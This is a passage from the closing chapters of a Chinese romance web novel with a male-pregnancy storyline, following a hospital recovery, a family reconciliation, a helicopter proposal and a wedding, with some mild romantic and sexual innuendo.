谢津延出声道:“爸,你让人给他准备点南瓜粥,馄饨一类的吧,之遇喜欢吃南瓜粥。” 江之遇:“?” 他怎么不知道自己喜欢吃南瓜粥? 不过他自己的确是喜欢给自己煮南瓜粥就是了,香甜软糯的,吃起来特别暖胃爽口。 用南瓜做的南瓜饼也特别好吃,到时候把南瓜籽晒一晒还能当瓜子吃。 江之遇因此特地在院子里种了些南瓜,已经成熟了好几只。 谢振庭立刻嘱咐赵管家去准备,南城也遍布着他们谢家的产业,酒店和高档餐厅类的餐饮行业自然也囊括其中。 赵管家于是去交代餐厅做份孕夫餐还有二少爷刚才说的南瓜粥和馄饨送到医院来。 昭昭往养父面前凑了凑,趴在床上,小手抚了抚养父被子遮盖下依旧能看到形状的肚子,好奇地问:“爸爸,这里真的有一个小宝宝吗?我真的要有弟弟或是妹妹了吗?” 江之遇的脸上再度爬上羞赧的红晕,一直以来,他都不知道怎么和养子解释这件事,他竟然和他养子的亲小叔在一起了,还有了孩子。 准确来说,是先有了孩子,之后再在一起的。 不过当前的情况,大家已经全都知道了他们的事情。 江之遇便点点头,告诉养子:“嗯,是有一个小宝宝。” 谢寻昭就很好奇的,把脸颊轻轻贴在养父的肚子上,像是要听一听什么似的。 随后十分高兴道:“那是不是就是说,我以后能当哥哥了?” “对的。”庄婉华慈爱地摸了摸小孙子的脑袋,“我们昭昭以后也能当哥哥了,你到时候可不要欺负弟弟妹妹哦。” “我才不会呢,我会对弟弟妹妹特别好。”谢寻昭眨了眨乌黑晶亮的眼睛,对养父肚子里的小孩子特别期待。 虽然他在知道养父怀了宝宝的事情后很是震惊,一时都有些无法接受。 因为一直以来都是他和养父两个人一起生活,养父怀了宝宝这么重大的事情都不告诉他,特别是宝宝的爸爸还是他的小叔。 养父怎么会和小叔在一起了呢。 怪不得之前去找养父的时候,总是看到小叔对养父奇奇怪怪的。 哼,小叔这个大坏蛋。 竟然把他的养父偷偷摸摸抢走了。 还不让他知道。 谢寻昭当时气鼓鼓的,被奶奶哄了好久说有弟弟妹妹,可以当哥哥了,他才没有再不高兴。 只是,谢寻昭突然想到一个问题,迷惑地眨眨眼睛:“爸爸,这样的话,我应该叫我小叔什么呢?” 昭昭小朋友问出这个问题,病房里包括谢老夫人和谢老先生在内的人都有些尴尬。 江之遇的脸更红了。 这就是他当时被昭昭小叔告白,还要自己和他亲的时候感到纠结混乱的事情。 他知道两个人之间没有血缘关系,可既然昭昭叫他一声爸爸,谢老夫人之前也说了让他和阿延像兄弟那样相处,江之遇怎么想都觉得很羞耻。 庄婉华因为沉浸在喜欢的孩子成了自己的儿媳妇,还给他们怀了个小孙子或是小孙女的喜悦当中,一时忘了之遇和儿子之间这层面对昭昭的复杂关系。 庄婉华微微拧了拧眉,在想怎么和小孙子解释。 谢津延伸过去手,把小侄子从老婆的肚子上扒开:“别压到你爸爸的肚子,你说你叫我什么?各叫各的,你叫你爸爸,叫我就还是你小叔就行了。” “对,对。”庄婉华眉头舒展,笑了笑,“昭昭,你就还和之前那样称呼你小叔叔就行了。” “好吧。”谢寻昭虽然有点迷迷糊糊的,可是不管怎样,爸爸还是他爸爸,小叔还是他小叔,他们还是相亲相爱的一家人。 而且他要当哥哥了! 谢寻昭就特别开心,也不再在心里抱怨小叔把爸爸抢走了。 病房里的氛围和乐融融,没多久,就有人推着餐车送来专门为江之遇做的孕夫餐。 除了他经常在家里吃的南瓜粥和馄饨,还有闻起来特别香的鸽子汤,鲈鱼蒸蛋,酿豆腐等看起来就很美味的食物。 江之遇还真有些饿了。 谢老夫人立刻走到他床边,帮他把病床摇起来,摆好餐桌。 事无巨细,关怀备至的样子,让江之遇感到很不好意思,同时又十分感动。 “伯母,我自己来就可以了。” “你现在是病人,要好好修养。”庄婉华把热粥端到他面前,还帮他吹了吹,语气特别和蔼,“先尝尝合不合胃口。” 江之遇看到眼前一幕,尤其是谢老夫人帮他吹粥的画面,不知道怎么的内心特别动容。 还有谢老先生在一旁帮他盛鸽子汤,昭昭也学奶奶的样子帮他吹了吹。 阿延跪在地上还把手伸过来给他往身后塞枕头,不断帮他调整舒适的角度。 “谢、伯母,阿延一直要跪着吗?” 江之遇被一大家子人关怀备至地围在身边,心中溢满了暖流,一种前所未有的温馨和温暖将他包裹,让他一瞬间有些恍惚。 庄婉华便瞥了自己的儿子一眼:“对,让他跪着,这是对他做错事的惩罚,一直跪满时间为止。之遇,你是不是心疼他了?我告诉你,你不要心疼他,不然他不长记性,以后再欺负你怎么办?” “妈,我不会欺负之遇的。”谢津延忍不住为自己申辩,“我对他好还来不及,怎么可能欺负他。” “这不是你嘴上说两句就算了的,好听的话谁不会说?”庄婉华厉声道。 谢津延:“……” 江之遇知道谢老夫人虽然和蔼温善,但在这个家里是绝对权威的存在。 他偷偷瞥了阿延一眼,无奈使了个眼神,撇撇嘴。 我也没办法帮你了。 谢津延被这个眼神看得心中一阵荡漾,他还从来没被这样的眼神看过,尤其是男人撇嘴的样子好可爱。 他在心疼自己。 谢津延心神晃荡,一瞬间觉得膝盖没那么麻了。 等被一家子人围着关怀备至地吃完饭,收拾完餐桌,又请医生过来帮他检查了一遍身体。 江之遇见谢老夫人拎起包:“之遇,看到你安然无恙我们就放心了,我和你谢伯父还有昭昭先回酒店,就不打扰你休息了,晚点我们再来看你。” “谢谢伯母和伯父对我的关心,其实应该是我给您二老添麻烦了,让你们大老远的从北城赶来这里。”江之遇垂了垂眼,语气很是愧疚地说道。 “以后可别说这样的话了。”庄婉华再度坐到床前握了握他的手,“我们现在是一家人了,哪有麻烦不麻烦的事,你安心养病,爸爸妈妈晚上再来看你,你和肚子里的宝宝都要好好的。” 无论什么时候,江之遇听到这声“爸爸妈妈”内心都很触动,尤其是谢老夫人用这样温柔叮嘱的语气,眼神如水一般温柔。 江之遇动容地点点头:“我会好好修养身体的。” “爸爸,那我和爷爷奶奶先回去了,回头再来看你和弟弟妹妹。” 谢寻昭还不知道养父肚子里的宝宝是弟弟还是妹妹,所以就把肚子里的宝宝统称为弟弟妹妹。 反正无论是弟弟还是妹妹,他以后都是哥哥。 谢寻昭很是开心期待,又跑去养父的床前趴在肚子上用手摸了摸。 还凑到养父耳边,小声说悄悄话:“对了,爸爸,我告诉你个秘密,我小叔不仅被奶奶要求跪地板,他还挨打了,原来大人犯错也会挨打。” 什么? 阿延还挨打了? 江之遇睁大眼眸,很是震惊,不可思议地往床前跪着的人看过去。 谢津延顿时黑了脸,脸色有些难看。 一把再次把小侄子薅下来:“你别以为我没听到你说的悄悄话,小小年纪在哪里学的背着别人说坏话?” 嘿嘿嘿。 谢寻昭眨了眨乌黑的眼睛,开心地走到奶奶身边。 哼,总算报了小叔偷偷把爸爸抢走的仇。 一家人热热闹闹地从病房离开,临走前,庄婉华一再交代江之遇不要心软。 江之遇望着谢老夫人谢老先生还有养子的身影从病房门口消失,热热温馨的病房重新归于宁静。 换作以往,他的心里会产生一种空落和不舍的情绪。 可是现在就没有这种感觉了,是因为谢老夫人说了晚上会再次过来看自己吗? 还有……爸爸妈妈,一家人。 江之遇回想着温柔的手慈爱抚在额头上的触感,还有谢老先生润物细无声的关爱。 昭昭还是那么贴心懂事,小大人似的特别关心他。 以及,默默在一旁微微笑着看他们的管家叔叔。 还有阿延…… 对了,阿延。 江之遇从这样让他心神恍然,感到眷恋的温暖中回过神,这才想起还在他床前跪了很长时间的阿延。 “谢伯母让你跪多久啊。”江之遇探过去脑袋。 其实还是有点心疼的,尤其是不知道怎么回事,一张俊逸帅气的脸成了现在这样鼻青脸肿的样子。 是昭昭说的挨打被打的吗? 屋子里终于只剩下两个人,虽然跪着,谢津延内心还是欢欣的,尤其是他父母一走,男人就流露出一副担忧心疼他的样子。 谢津延往床头挪了挪,心情很是愉悦:“我妈说我那天晚上欺负了你多久,就给你跪多久。” 啊? 江之遇呆了呆。 随后脸色爆红。 “那你不是要跪很长时间。” 江之遇没忘记那天晚上男人折腾了他多久,从滚进套房的那一刻起,大概是九点多钟,到凌晨天微微亮。 江之遇都不知道他哪里来的这么大的精力和体力,怎么都不够似的,最后他终于撑不住昏了过去。 要不是他的生物钟很准时,到了时间点就醒,最后挣扎着爬起来,江之遇都怀疑自己的腰会不会断掉。 谢津延显然也想到了这些,虽然大部分细节已经丢失了。 他语气似是有些无奈:“没办法,我母亲的话说一不二,不遵守的话后果很严重。” “那你跪了多久了呢。”江之遇问。 谢津延思索片刻:“从我父母赶来这里知道我们的事情到现在,已经跪了四个多小时了。” “那就是还要跪差不多三个小时?”江之遇有些傻眼。 谢津延嗯声:“差不多,我上午开公司的视频会议都是跪着开的,不过没开摄像头,也就不会被员工们发现。” 江之遇:“……” 虽然如此,想象了一下一个这么大集团的总裁跪着给底下员工开会的画面,怎么都感觉不可思议。 “你膝盖疼不疼啊。”江之遇忍不住往他的膝盖看过去,“我能不能偷偷给你铺层垫子?” “没事,再坚持三个小时就可以了。”谢津延动了动膝盖,调整了一下跪姿,又往男人面前凑了凑,握住眼前人的手。 “只要你好好的,之前的事情不再怪我,相信我是真的喜欢你,不是被激起胜负欲还是什么的,我怎么样都可以。” 江之遇听到他说的,想起昨天黎少爷走后自己给他发的消息。 脸微微一热,江之遇也不知道自己当时为什么那么在意。 “好了,我知道了。” 他伸过手去抚了抚男人鼻青脸肿的脸,担忧地问:“你的脸怎么成这样了?” 他不过是昏睡了一晚,怎么一觉醒来他第一眼在宴会厅长廊看到的,即使身为男人看过去都忍不住感叹的一张极度惹眼帅气的脸变成了一副猪头的模样。 谢津延被纤软的手指轻轻触碰脸颊,“嘶”了声,却忍不住捉住他的手,没说是和岭生打架打的,只语气闪烁道:“不小心撞的。” 江之遇:“……” 怎么撞能撞出左眼发青,右脸青肿,还有巴掌印的样子呢? 但江之遇没有拆穿,他不知道发生了什么事情,但直觉告诉他和自己有关。 他内心有些触动,尤其是想到昭昭刚才告诉他的秘密,江之遇说不出来心里是怎样的情绪,但他知道他这时是有些心疼的。 “你擦药了吗?”江之遇问。 谢津延用他的手捧在自己的脸上:“擦了。” “要、要不要我给你吹吹。”江之遇红了红脸,小声支支吾吾问。 他小时候看到村子里的小朋友摔疼了或是哪里撞伤了,大人们都会说,吹一吹就不疼了。 呼呼吹吹,痛痛飞飞。 江之遇知道这种方式是哄小孩的,有些幼稚。 可是他现在自己也躺在病床上,什么都做不了,只能用这种方式安慰他,也帮他打发一下跪着的时间。 可谢津延没听说过这种方式,看着男人转红的羞涩脸颊,支支吾吾的小声话语。 他热血一阵上涌,理解错了,耳根也泛起一阵热意。 “一会儿会有护士过来查房,我现在不能站起来,你才刚摔过一跤,动了胎气,医生让你躺在床上好好修养,不好做大幅度的动作,我也还没来得及洗澡,有点脏。” 江之遇:“?” 江之遇脸上流露出茫然的表情。 痛痛吹吹和做大幅度动作以及洗澡有什么关系吗? 第68章 第 68 章 一个羽毛般的吻 江之遇迷惑的眼睛眨了眨, 问出了心中的疑惑。 谢津延怔了怔,一张“精彩纷呈”的脸上也露出疑惑的表情,耳根却依旧热:“你不是要用嘴帮我吗?” 用……用嘴? 江之遇大脑呆滞了几秒, 反应过来他说的是什么后, 一把抽回自己的手。 覆着一层薄茧的手指擦过脸庞, 带来一阵细微磨蹭的触感, 外加谢津延的脸本来就受着伤, 泛着疼, 两种感觉交织在一起,他深吸了一口气。 “我就说你脑子里成天都是这种事!”江之遇不是没有注意到他疼得倒吸凉气的样子,一边为自己动作太大把他弄疼了有些自责, 一边又十分羞愤。 谢津延终于知道自己理解错了,连忙又去捉他的手:“对不起, 是我误会了, 那你刚才说的是要怎么帮我啊?” 江之遇被他抓着手挣不开,脸也涨得通红, 同时又很气恼, 鼓起嘴“呼”一声往他脸上大力吹了一口, 羞恼道:“我说的是这种,你没听过‘吹一吹就不疼了’的说法吗?” 啊,没有。 谢津延怔然,额前发丝被吹起几缕又落下,还是第一次听到这个说法。 他这一刻只感到心脏忽然“扑通扑通”跳个不停。 好可爱。 怎么会这么可爱。 谢津延第一眼见到这个男人就觉得他像只误闯进自己领地的一只纯白漂亮的小兔子。 瑟缩胆怯, 可是一双月亮般清透漂亮的眼眸又充满了执着和倔扭。 有种很想让人欺负的反差。 其实很多时候, 谢津延不是很能在这个男人身上看到许多外放的情绪。 他小心,谨慎。 无论是茫然,开心, 喜悦,亦或是惊慌,所有的情绪都是很小幅的。 最喜欢小声咕咕哝哝,就连生气,也像被毛绒绒的兔爪在心上轻轻踩了一下,痒痒的。 现在这副鼓起脸颊朝自己生气吹气的样子更是让谢津延整个人软化,一颗心怦怦直跳,乱了节拍。 谢津延眸色晦涩闪了闪,身体发热。 等眼前的人生完孩子,修养好身体,他一定要把这个男人狠狠按在床上,让他大声哭着叫。 “老婆,我都点口渴。” 在江之遇向他展示完自己说的“吹吹”是怎么一回事后,听他突然说了这么一句。 江之遇脸上羞恼的表情怔了瞬,一下子忘了生气了:“那你去喝水啊,不是说吃饭喝水还有上厕所可以起来吗?还有,你能不能不要这样叫我。” 谢津延便喊了声他的名字:“之遇,我的意思是,我有点想亲你。” 江之遇又是一怔,随后有些无语,望了眼他鼻青脸肿的脸:“你嘴破成这样了还能亲人?” “亲不亲啊。”谢津延问,“两天没亲了。” 江之遇被他一双黑沉沉的眼眸盯着,又听他说两天没亲了。 真是的,怎么这种事情也往脑子里记啊。 而且不是才两天没亲吗? 江之遇真不想理他:“我不亲,你刚才不是说一会儿会有护士过来查房吗?万一被看见了怎么办。” 谢津延:”……” “那就在查房之前亲完。”谢津延道,有一下没一下亲抓在手中的白皙手背。 江之遇被他嘴唇弄得手背痒痒的:“我还是觉得不太合适,在病房里亲,你就不能忍忍吗?” “主要是跪着有点无聊。”谢津延一脸正色。 “那要不你工作吧。”江之遇建议,说完想起他刚才说的上午跪着还要开视频会议。 “好吧,可以亲,但先说好,只亲一会儿,你不准把舌头伸进来,不然又要好长时间。” 他总喜欢缠着自己的舌头湿.吮,每次都吸的自己舌根发麻,口中缺氧,好长时间都喘不过气来。 谢津延便直了直身子,抬头去含眼前一双水润的唇瓣。 昨晚躺在病床上的时候那么苍白,让他心脏揪痛得难受。 现在终于恢复了血色,能这样生动地翕张,和他说话,就算骂他也开心。 谢津延小心翼翼地吻这双唇,奇怪,刚刚还浑身发热,恨不得立刻和这个男人上床。 这会儿真含住这双唇了,他却不敢多用一点力气,生怕弄疼了他。 只轻轻地吻,很小心地在柔软上蹭,轻轻地和他厮磨。 想一辈子都这样。 “不行,我有点亲不下去了。” 江之遇也感到意外,第一次被他用这种吻法亲,一时都有些不太适应。 太温柔了,温柔的江之遇都怀疑眼前的男人是不是换了壳。 换作以往,他早就把两人搅弄的都是口水了。 “你好奇怪。”江之遇推了推他的脑袋。 这时候是下午时分,江之遇在病床上其实躺了不短的时间。 他刚才醒来的时候看见大亮的天光还以为是清早,及至刚才谢老夫人他们离开,才知道已经过了晌午。 这么明亮的,其实是下午的阳光。 谢老夫人临走前,帮他把病床往下调了调,阿延跪在他床头,他刚才和阿延说话的时候一直都是侧身探过去脑袋的。 现在接吻也是。 他手肘撑在床上有些发麻,就这样和他接吻。 其实是甜蜜的,可是江之遇也感受到了某种不同寻常。 不知道是不是午后的阳光太过刺眼,还是他看错了。 他刚才被他极致温柔地吻着唇,沉溺在这样温柔的时候,江之遇无意间睁了睁眼。 看到离他很近的那双总是盯得人头皮发麻,漆黑冷厉的眼眸似是在眼角掠过一点水光。 被明亮的太阳光线照得如璀璨的星辰闪烁了下,转瞬藏匿在压下的眼睫中。 江之遇觉得一定是自己看错了。 但是他的心脏却因为这样和以往每一次都不同的吻弄得怪怪的。 像湖泊上飞来一只飞鸟,柔软的翅膀掠过水面,在上面掀起一阵涟漪,立刻有水圈扩散。 某种他不知道怎么形容的情绪也随着这层涟漪扩散。 饱胀的,一圈一圈漾开,扩散得越来越远,总也停不下似的,快要溢出心头。 江之遇不太适应这样的感觉,心跳好像乱了一拍。 “怎么了,是不是我弄疼你了?”谢津延怔愣一瞬,望着眼前垂着眼眸,染上嫣霞一样绯丽红晕的隽美面庞。 每次自己把他亲得缺氧的时候,这张漂亮的脸就会红成这样。 可是明明这次谢津延吻得很小心,也没有伸舌头。 江之遇也不知道怎么的脸颊好烫,心跳也快。 他只推了推他,目光闪躲道:“你脸太肿了,鼻青脸肿的,有点丑,我下不去嘴。” 谢津延:“……” 谢津延语气有些慌:“只是这几天这样,等过段时间好了就不会丑了,你不是直男吗?也会在意容貌吗?” 江之遇心跳依旧乱乱的,胡乱找理由掩饰这种让他无措的慌乱:“我都被你弄得喜欢男人了,被你亲被你捅,还和你生孩子,你再不好看点,我图你什么?” 谢津延:“……” 早知道和岭生打架的时候先约定好不打脸的,好吧,是他先往发小脸上揍的。 谢津延忽然有些焦虑:“那我再擦点药,争取早点好。” “其实……闭上眼睛不看的话也不是不能亲。”江之遇见他真的要去桌子那边拿药膏,小声拦住他。 这总不能没到涂药的时间,一个劲儿地往脸上堆药膏吧,又不是说好就能好。 还是慢慢修养吧。 反正江之遇知道他脸被打成这样之前俊逸帅气的模样。 真挺帅的。 五官立体,凌厉分明,像精雕细琢的艺术品,比杂志上的男模还好看。 他怎么就不能长成这样呢?明明都是男人,怎么他就要被男人捅屁股啊。 江之遇不解。 谢津延却是停住拿药的动作,重新跪回床头前:“你是说你还愿意和我亲?” 江之遇侧了侧身子:“你跪过来一点。” 谢津延往床头挪了挪。 忽而,领带一把被揪住,他被往病床前扯了扯。 熟悉草木清香的气息裹着淡淡病房消毒水的味道钻入鼻尖。 耀眼的阳光下,让他无数次怦然心动的漂亮面庞在眼前放大,他的唇上印下一个很轻很柔软的吻。 让他意外的,第一次主动亲他。 浓密卷翘的睫毛轻轻颤着,鸦羽一样扫着他的眼睛。 谢津延漆黑的瞳孔骤然收缩,怔怔地望着眼前的景象。 过了许久,手指插进细软发丝。 谢津延也闭上眼睛,加深这个吻。 这天,日光特别明亮美好,等傍晚的时候,太阳西沉,天空铺了绚丽的火烧云。 黎清叙和祁焰一个劲儿地在群里发消息。 黎清叙:[不是,找到人了就玩失踪是吧?@谢看门疯狗,到底昭昭养父现在怎么样了啊?] 祁焰:[是啊,阿延,你只说送进医院就没理我们了,之遇哥现在怎么样了?摔得严重吗?] 黎清叙:[我真是服了,有你这样忘恩负义的吗?亏我们到处帮你找人。] 过了许久,他们口中的“看门狗”终于出现了。 谢津延:[我老婆一切安好,肚子里的宝宝也一点事情都没有,我们还见过家长了,很快就要结婚了,我劝你们一个两个的都死心,不要再打我老婆的主意。] 黎清叙就无语:[一口一个老婆,昭昭养父同意了吗?你是不是太不要脸了啊?白眼.jpg] 谢津延:[反正他今天主动亲我了,我丑他也愿意亲我。你再敢在我们两个人中间挑拨离间,我以后见你一次打你一次。] 黎清叙:“???” 神经病啊。 祁焰瑟缩了下:[阿延,你和之遇哥真的要结婚了吗?岭生呢,岭生怎么一直不说话啊,昨晚那么急也不见他人。] 群里安静片刻。 霍岭生正在往脸上涂抹药膏,盯了那句“我丑他也愿意亲我”片刻。 霍岭生垂眸:[。] 祁焰:[这是什么意思?] 没人理他了。 第 69 章(终章) 第69章 第 69 章(终章) 他再也…… 当天晚上, 谢老夫人和谢老先生还有昭昭,果然又来看江之遇了。 这回带来了更多滋补身体,还特别美味的晚餐。 阿延终于跪够了时间, 起来的时候膝盖发麻, 身体歪了歪, 险些栽到他身上。 江之遇把他推开, 他顺势在自己的额头上亲了亲, 就去洗澡收拾自己了。 再出现在自己眼前, 整个人又恢复了衣装齐整,矜贵惹眼的模样。 当然,忽视掉那张青肿不堪的脸, 只看侧身和背影,依旧帅气逼人。 总之住院的这几日, 虽然大部分时间都不得不待在病床上, 却是江之遇感到最幸福的时刻。 被一大家子人关怀备至地围在身边,喜欢的人时时刻刻守在自己眼前。 昭昭一放学回来, 就在赵管家叔叔的陪同下从北城赶过来, 逗他开心, 给他讲在学校发生的好玩的事情。 然后就是和自己一起畅想等小宝宝出生,他当哥哥的一定要陪弟弟妹妹玩,带弟弟妹妹去哪个好玩的地方,听得江之遇都很向往。 这样不知不觉的,江之遇就完全修养好了身体, 可以回家了。 谢老夫人和谢老先生跟着一起去了他的乡下小院。 庄婉华是第一次到乡下, 虽然之前小孙子同养父视频的时候她见过之遇的小院。 可是亲身踏入这个地方,推开屋檐下晃动着两盏竹灯的木门,走在爬满碧绿葡萄藤叶, 结了串串葡萄的葡萄架下。 望着这座有花有草,还种植着各种瓜果蔬菜,打理得井井有条、漂漂亮亮的小院,庄婉华还是感到意外。 被她家这个臭小子捡便宜了。 也幸亏最后把之遇追了回来,不然她该多么遗憾。 庄婉华心里别提有多高兴了,第一眼见到就很喜欢的淳朴漂亮的孩子真的和他们成为了一家人。 等回去北城,她一定要去寺庙再多烧几炷香。 经历过三年前的悲痛,庄婉华没想到他们家还会有这样幸运美好的时刻。 “这些都是之遇你自己种的吗?”谢振庭自大儿子大儿媳去世,排解内心悲痛去后山避世的那段日子,自己也会在山上莳花弄草,偶尔拿起锄头种种地。 没想到在这里找到了共鸣,之遇不仅手巧,会做榫卯木工一类奇巧的小玩意,还给自己打理出这样一座漂亮的小院。 江之遇点点头:“是的,伯父,都是我自己种的。” 谢振庭就像找到了知己似的,平日里温润少言的他走在菜地间,呼吸着自然清新的空气,一时间和之遇有很多心得分享。 小院因江之遇的短暂离去又回来,再度恢复了生气和生机,甚至变得比之前更加热闹。 江之遇待在医院的那段时间,谢津延一直没忘交代留守在溪源乡监管基础设施建设的下属帮忙给家里的垂耳兔、花栗鼠、乌龟金鱼,还有鹦鹉喂食,给花花草草浇水。 所以当江之遇回到家后,一切都和他离开前没什么两样,无论是家里的小动物还是一草一木,都被照顾得很好。 谢老夫人和谢老先生这段时间都陪他住在乡下,从一户外出打工的村民那里租了间乡间别院。 一则感受自然本真的乡下生活,方便照顾他。 二则不放心他大着肚子一个人在家,即使阿延现在几乎把工作搬到了乡下,可到底还是有需要回到北城的时候。 他们都不放心像上次那样,阿延一离开去了国外,就发生了意外的事情。 事后庄婉华和丈夫请霍成峰喝了杯茶。 庄婉华结婚前,是家里有权有势的大小姐,无论庄家还是谢家,都是百年基业的大家,在北城根基很深。 霍家说到底是从港城那边过来的新贵,霍成峰当年也不过是仰仗着他的妻子才有了如今的地位和成就。 霍成峰很是意外。 他原本以为儿子一门心思扑上去的小白兔是个普普通通的乡下人,只是长得过分漂亮了些。 没想到竟是谢家庇护的人,肚子里的孩子竟然是谢家那小子的。 他是匆匆赶来南城的,助理办事不力,没调查过这些信息,只提过这个乡下男人除了和自己的儿子,似乎和谢家的谢二,还有黎家那小子也牵扯不休。 霍成峰更加觉得这样一边牵动着他儿子的心思,一边和他儿子的朋友们纠缠在一起的男人是个麻烦。 他也算是帮这几位世家朋友扫清障碍,提前规避掉以后不必要的麻烦和争端。 说到底,一个上不了台面的乡下男人,更别提还怀了孕,玩玩可以,娶回家是绝对不可能的。 万万没想到这个男人和谢家的牵扯如此之深,肚子里的孩子不是什么不明不白的野种。 “总之,以后这是我们的家事了,就不劳霍先生费心了。”庄婉华微微笑道,语气里的警告意味不容置疑。 霍成峰还要在北城站稳脚跟,怎敢撕破脸,只一个劲儿地赔礼道歉,是自己弄错了。 这之后,江之遇就是安安心心在谢老夫人和谢老先生的陪伴下安安心心地养胎了。 与此同时,阿延那边也在精心筹备着婚礼。 江之遇想的是等生完孩子再补办婚礼,可阿延生怕自己像之前那样再次跑了似的,又防备着他那几个发小,说什么也要立刻结婚。 江之遇拿他没办法,只好答应了他。 两人于是第二天就领了证,之后,就开始筹备婚礼。 期间,阿延还给自己准备了一个盛大的求婚仪式。 那是一个霞光铺满西边天空的艳丽傍晚,江之遇所在的乡间被绚丽的烟霞染上了一幅漂亮的风景画。 江之遇正在工具室里做木活,忽然,院子外面传来一阵喧闹的声音。 隔壁的小蓁姐和小海螺她们都来敲门喊自己出去,还有村子里的小朋友们。 等江之遇疑惑地走出门,就看到天空中盘旋着许多架直升飞机,在铺着瑰丽晚霞的天空,绘出了特别惹人注目的告白和求婚字样。 阿延每一次来找他时降落下直升飞机的那个草坪,无数的花朵和花瓣在空草地上围出了两颗巨大的爱心。 还摆出了各种小动物的图案,有他第一次拎过来的垂耳兔,后来的花栗鼠,乌龟,金鱼。 还有江之遇给宝宝做的置物架上各种木制小动物。 一只特别大特别可爱的玩偶兔子被围在花海中央,被小动物们簇拥,俨然一个浪漫的,童话一般的由花海铺就的动植物王国。 溪源乡的村民们都来围观了,看直升机盘旋在空中,降落纷纷扬扬的花瓣,像在下一场唯美的花瓣雨。 而这时,昭昭小叔每次来溪源乡乘坐的那架直升机飞了过来。 瑰丽的霞光下,宛若一只从远方飞过来的飞鸟停靠在这方的栖息地。 伴随着机翼呼呼转动的声音,他们看到直升机缓缓降落在那处由花海打造的童话一般的草地上。 转动的机翼带动周围的气流,于是,江之遇面前的爱心、可爱的小动物、花花草草,像是童话故事里会变身的小灵精们一样,全都化作纷纷扬扬的花瓣向他飘来。 他在如画一般瑰丽的晚霞下,被花瓣雨包裹。 江之遇视线剥开重重雪幕一样的花瓣,看到直升机的门打开。 已经恢复了原来的俊逸帅气,不再是一副鼻青脸肿模样的男人捧着一大捧玫瑰花现身舱门前。 风掀起他打理得一丝不苟的发丝,矜贵的领带被吹起,西装衣摆似是在风中猎猎作响。 江之遇就是在这样一个唯美的,梦幻的,霞光漫天的傍晚,被昭昭小叔在直升飞机上向他求婚。 花瓣雨被霞光染成了瑰丽的色彩,纷纷扬扬在头顶降落。 所有溪源乡的乡民们都围观了这一大盛况。 这才惊觉,原来总是乘直升飞机频繁出入他们乡的谢氏集团的总裁和之遇是一对。 他们还有一个共同的宝宝。 尽管一开始很震惊,可是细想之后又觉得没什么不对。 不止一次有乡民撞见他们二人举止亲密,这位谢总又几乎住在了之遇的家里,在自己小侄子不在的时候。 难怪,他那么积极地帮他们建设家乡。 不管怎样,乡民们都很开心,看到这样的盛况。 所以很快,溪源乡的乡民们都在欢呼,那些经常被昭昭小叔的直升飞机带着遛弯的小朋友们更是激动开心的不得了。 大家都发自内心地祝贺这对小情侣,孤身一人的之遇也终于找到了他的幸福。 江之遇望着从飘着漫天花瓣的霞光中捧花朝自己走过来的男人,意外又动容。 他们两个人就像是一只飞鸟掠过山间,无意间瞥了陆地一眼,便爱上了草地上漂亮可爱的小兔子。 飞鸟降落栖息。 他们在全乡人的祝福下,拥吻在瑰丽绚烂的霞光里。 之后,两人就举行了婚礼。 在溪源乡办了一场,三天三夜的流水席。 然后又在北城办了一场。 黎清叙果然被请到了贵宾席最惹眼的位置。 “虽然但是,真不爽啊。” 望着台上抱得美人归一脸得意的发小,黎清叙重重地灌了口红酒。 他弟弟黎星若整个人都处在懵圈的状态。 什么情况,只是过去了短短几个月,津延哥去了几趟乡下,为什么一回来就结婚了? 而且连宝宝都有了,结婚对象竟然就是津延哥小侄子的养父。 两个人之前不是说什么关系都没有吗? 当时昭昭的欢迎宴,黎星若误把一个从来没有见过的漂亮男人当成了津延哥的情人。 直到被澄清是津延哥小侄子的养父,黎星若才知道自己闹了个大误会。 可是为什么一眨眼,这两个怎么看都不可能在一起,身份上也有些尴尬的人一下子就结婚了,连宝宝都有了。 “哥,你快告诉我,我眼前看到的都不是真的,我是在做梦对不对?” 黎星若迷迷糊糊地收到消息,跟着哥哥迷迷糊糊地来到谢家的婚礼现场,此刻看到津延哥正往眼前漂亮男人的手指上套婚戒,他说什么也不愿意相信眼前的景象。 黎清叙无奈扯了扯唇角:“我也希望是在做梦,可事实就是事实,说到底还不是你当初做的好事。” 黎星若就想哭。 可是看到津延哥用自己从来没有见过的温柔眼神,热切地注视着面前的人。 他那会儿试图偷偷去找他时,还看到他缠着这个漂亮男人一声又一声喊对方的名字,乞求原谅他什么。 那是黎星若从来没见过的津延哥的样子。 那个总是冷酷疏离,冷峻着一张脸,什么都入不了他视线的男人,竟会有如此低声下气追在别人身后的时刻。 看什么都漫不经心,不露情绪的漆黑深冷的眼眸会有热切,温柔但目光灼灼,仿佛眼前人就是他的全部。 黎星若有些恍然。 原来一个人爱与不爱区别这么明显。 他干吗要去一直纠结一个不会看向自己的人呢? 黎星若忍不住想哭,心里十分失落和难过,却擦了擦眼睛,骄傲哽咽道:“结婚就结婚,我又不是非这个男人不可。” “这就对了嘛,不要在一棵树上吊死。这才是我们老黎家的人,拿得起放得下,以后哥哥给你介绍更好的对象。” 黎清叙拍着弟弟的肩膀,轻声安慰弟弟。 转头和一旁面无表情的岭生和祁焰说道:“你说他们两个什么时候离婚?” 祁焰望着台上换上结婚礼服,漂亮得不像话的之遇哥,眼睛亮晶晶的。 “老黎,人家两个才刚交换结婚戒指呢,你这是什么意思?不盼着点儿兄弟好?怎么说也要度过蜜月期吧。” 霍岭生:“……” 霍岭生望向台上,玉骨般修长的手指像之前昭昭欢迎宴那天有一下没一下地叩击杯壁。 只是这一次,他视线投过去,那个人不会回眸看过来一眼,给予一个仓皇无措的回应。 他有了自己的幸福。 婚礼结束,晚上,江之遇躺在床上。 好累,结婚怎么这么累呢。 尽管整个婚礼的筹备全都是阿延在做,他只需要安心养胎,什么都不用管,只在婚礼现场出席,可依旧觉得繁琐。 “现在你开心了吧,证也领了,婚也结了,我看你还有什么要急的,真不知道成天在担心什么。” 谢津延快要幸福得晕过去了,一边亲他眼睛,脸颊,耳垂,一边脱他衣服,吻逐渐下移。 “我还在急宝宝出生。” “为什么?”江之遇被他弄得浑身都是口水,开始晕晕乎乎的,身体也有些发烫。 距离他的预产期没有多长时间了,所以为了方便照顾他和生产时第一时间被送去最好的产科医院,江之遇现在是住在谢家庄园里。 用谢老夫人和谢老先生,今天的婚礼现场已经改口叫爸爸妈妈了。 用两位给予自己从来没有过的父母之爱的长辈的话讲,这里现在是他的另一个家了。 江之遇现在有两个人家。 